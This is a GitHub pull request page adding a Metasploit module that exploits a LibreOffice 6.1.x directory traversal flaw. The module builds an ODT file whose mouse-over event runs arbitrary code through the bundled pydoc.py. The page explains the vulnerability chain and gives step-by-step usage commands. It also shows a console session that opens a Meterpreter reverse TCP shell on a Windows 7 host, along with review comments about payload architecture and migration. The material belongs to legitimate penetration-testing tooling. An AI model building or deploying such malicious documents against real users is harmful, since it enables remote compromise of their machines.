Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Libreoffice macro exec exploit module #11729

Merged
merged 10 commits into from Apr 17, 2019

Conversation

Projects
None yet
4 participants
@space-r7
Copy link
Contributor

commented Apr 15, 2019

This module exploits a directory traversal vulnerability in LibreOffice v6.1.0-6.1.2.1 that enables remote code execution.

LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events to them. A macro can be tied to a program event by including the script that contains the macro and the function name to be executed. Additionally, a directory traversal vulnerability exists in the component that references the Python script to be executed. This allows a program event to execute functions from Python scripts relative to the path of the samples macros folder. The pydoc.py script included with LibreOffice contains the tempfilepager function that passes arguments to os.system, allowing RCE.

This module generates an ODT file with a mouse over event that when triggered, will execute arbitrary code. Tested on LibreOffice versions 6.1.0.1 and 6.1.2.1 on Windows and Linux.

Note: 6.0.x and 6.1.3.x versions are reportedly vulnerable to the directory traversal attack, but are not exploitable by this module due to the lack of ability to pass arguments.

Verification

  • Install the application
  • Start msfconsole
  • Do: use exploit/multi/fileformat/libreoffice_macro_exec
  • Do: set FILENAME <name>
  • Do: set LHOST <ip>
  • Do: set LPORT <port>
  • Do: run
  • Move the generated file to the target
  • Start a handler
  • Open the file with a vulnerable version of LibreOffice
  • You should get a shell.

Scenarios

  msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
  msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run

  [+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
  msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
  msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  payload => windows/meterpreter/reverse_tcp
  msf5 exploit(multi/handler) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf5 exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.37.1:4444
  [*] Sending stage (179779 bytes) to 192.168.37.156
  [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:49180) at 2019-04-12 15:14:04 -0500

  meterpreter > getuid
  Server username: WIN-MGMN7ND70I1\a_user
  meterpreter > sysinfo
  Computer        : WIN-MGMN7ND70I1
  OS              : Windows 7 (Build 7601, Service Pack 1).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 1
  Meterpreter     : x86/windows

@busterb busterb added the module label Apr 16, 2019

@jrobles-r7 jrobles-r7 added the docs label Apr 16, 2019

[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
],
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],

This comment has been minimized.

Copy link
@busterb

busterb Apr 17, 2019

Contributor

While 'Arch' here seems to indicate I can select a 64-bit payload, the targets below restrict this to just 32-bit.

I wonder if you couldn't just use 'ARCH_ALL', since I don't think it actually matters for this exploit.

@busterb

This comment has been minimized.

Copy link
Contributor

commented Apr 17, 2019

Executing a default payload in this context hangs LibreOffice, if the payload does not return execution to the script. I think setting PrependMigrate / PrependFork is a must for any native payloads. Would it make sense to have that automatically configured by the module?

@space-r7

This comment has been minimized.

Copy link
Contributor Author

commented Apr 17, 2019

Executing a default payload in this context hangs LibreOffice, if the payload does not return execution to the script. I think setting PrependMigrate / PrependFork is a must for any native payloads. Would it make sense to have that automatically configured by the module?

That makes sense to me. Thank you!

@busterb

This comment has been minimized.

Copy link
Contributor

commented Apr 17, 2019

Perfect, thanks!

@busterb busterb self-assigned this Apr 17, 2019

@busterb busterb merged commit 3920789 into rapid7:master Apr 17, 2019

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

busterb added a commit that referenced this pull request Apr 17, 2019

msjenkins-r7 added a commit that referenced this pull request Apr 17, 2019

@busterb

This comment has been minimized.

Copy link
Contributor

commented Apr 17, 2019

Release Notes

The multi/fileformat/libreoffice_macro_exec exploit module has been added to the framework. This module exploits a directory traversal vulnerability in LibreOffice v6.1.0-6.1.2.1 that enables remote code execution by running sample macros bundled with the suite.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.